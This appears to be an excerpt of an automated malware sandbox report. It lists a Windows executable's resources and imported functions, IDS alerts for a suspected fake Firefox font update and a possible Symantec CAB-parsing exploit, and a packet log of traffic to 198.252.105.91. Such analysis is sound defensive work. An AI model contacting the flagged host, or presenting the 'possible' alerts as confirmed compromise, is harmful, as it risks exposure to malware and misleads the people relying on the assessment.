RT_RCDATA	0x81964	0x8f838	PNG image data, 225 x 225, 8-bit colormap, non-interlaced	English	United States	0.4054559806203133
RT_GROUP_CURSOR	0x11119c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x1111b0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x1111c4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1111d8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1111ec	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x111200	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x111214	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x111228	0x22	data			1.0588235294117647

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryW, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T15:55:02.088938+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	198.252.105.91	443	TCP
2024-11-12T15:55:20.344502+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	49721	TCP
2024-11-12T15:55:58.715306+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	49888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 15:55:01.434278011 CET	49709	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:01.434331894 CET	443	49709	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:01.434422016 CET	49709	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:01.434942961 CET	49709	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:01.434993029 CET	443	49709	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:01.435061932 CET	49709	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:01.472915888 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:01.472968102 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:01.473043919 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:01.477974892 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:01.477991104 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.088825941 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.088937998 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.093328953 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.093347073 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.093650103 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.146259069 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.298863888 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.343328953 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.421322107 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.465269089 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.537437916 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.537461996 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.537483931 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.537491083 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.537512064 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.537702084 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.537702084 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.537729025 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.537777901 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.539791107 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.539799929 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.539833069 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.539866924 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.539876938 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.539901972 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.539923906 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.652843952 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.652869940 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.653150082 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.653182030 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.653251886 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.654488087 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.654504061 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.654561996 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.654572010 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.654608965 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.655386925 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.655401945 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.655448914 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.655457973 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.655493021 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.657282114 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.657294989 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.657349110 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.657356977 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.657392025 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.769119978 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.769149065 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.769198895 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.769222975 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.769264936 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.769695997 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.769711018 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.769777060 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.769785881 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.769821882 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.770706892 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.770721912 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.770791054 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.770797968 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.770840883 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.773972988 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.773987055 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.774045944 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.774051905 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.774089098 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.774260044 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.774274111 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.774327993 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.774334908 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.774385929 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.775043011 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.775058031 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.775121927 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.775130033 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.775166035 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.775882006 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.775897980 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.775958061 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.775964975 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.776001930 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.884349108 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.884367943 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.884432077 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.884459972 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.884502888 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.884896994 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.884911060 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.884962082 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.884968996 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.885005951 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.885359049 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.885373116 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.885435104 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.885442972 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.885487080 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.885699034 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.885714054 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.885767937 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.885775089 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.885817051 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.885817051 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.886722088 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.886737108 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.886790991 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.886797905 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.886836052 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.886919975 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.886934042 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.886976957 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.886984110 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.887023926 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.887347937 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.887362957 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.887420893 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.887428045 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.887471914 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.887839079 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.887855053 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.887898922 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.887906075 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.887943029 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.888329029 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.888345957 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.888411045 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.888417959 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.888451099 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.888716936 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.888731956 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.888782024 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.888788939 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.888835907 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.889359951 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.889379978 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.889413118 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.889419079 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.889442921 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.889467001 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.890003920 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.890018940 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.890079021 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.890086889 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.890131950 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.890260935 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.890286922 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.890317917 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.890325069 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.890347958 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.890381098 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.890902996 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.890923023 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.890953064 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.890959024 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:02.890991926 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:02.891001940 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.000685930 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.000706911 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.000792027 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.000808001 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.000854015 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.000971079 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.000989914 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001045942 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.001054049 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001092911 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.001298904 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001312971 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001373053 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.001379967 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001418114 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.001575947 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001590967 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001646042 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.001652956 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001698017 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.001796007 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001812935 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001868010 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.001876116 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.001914978 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.002799988 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.002813101 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.002865076 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.002872944 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.002916098 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.003088951 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.003103971 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.003160000 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.003168106 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.003210068 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.003221035 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.003252983 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.003268957 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.003277063 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.003319025 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.003348112 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.006656885 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.006671906 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.006730080 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.006737947 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.006779909 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007056952 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007071018 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007112026 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007121086 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007134914 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007174015 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007195950 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007349968 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007364988 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007411957 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007422924 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007462025 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007500887 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007520914 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007551908 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007560015 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007615089 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007807016 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007824898 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007853031 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007859945 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007879019 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007919073 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007937908 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007971048 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.007977962 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.007994890 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.008116007 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.008131027 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.008173943 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.008183002 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.008830070 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.008852005 CET	443	49710	198.252.105.91	192.168.2.6
Nov 12, 2024 15:55:03.008888960 CET	49710	443	192.168.2.6	198.252.105.91
Nov 12, 2024 15:55:03.008896112 CET	443	49710	198.252.105.91	192.168.2.6
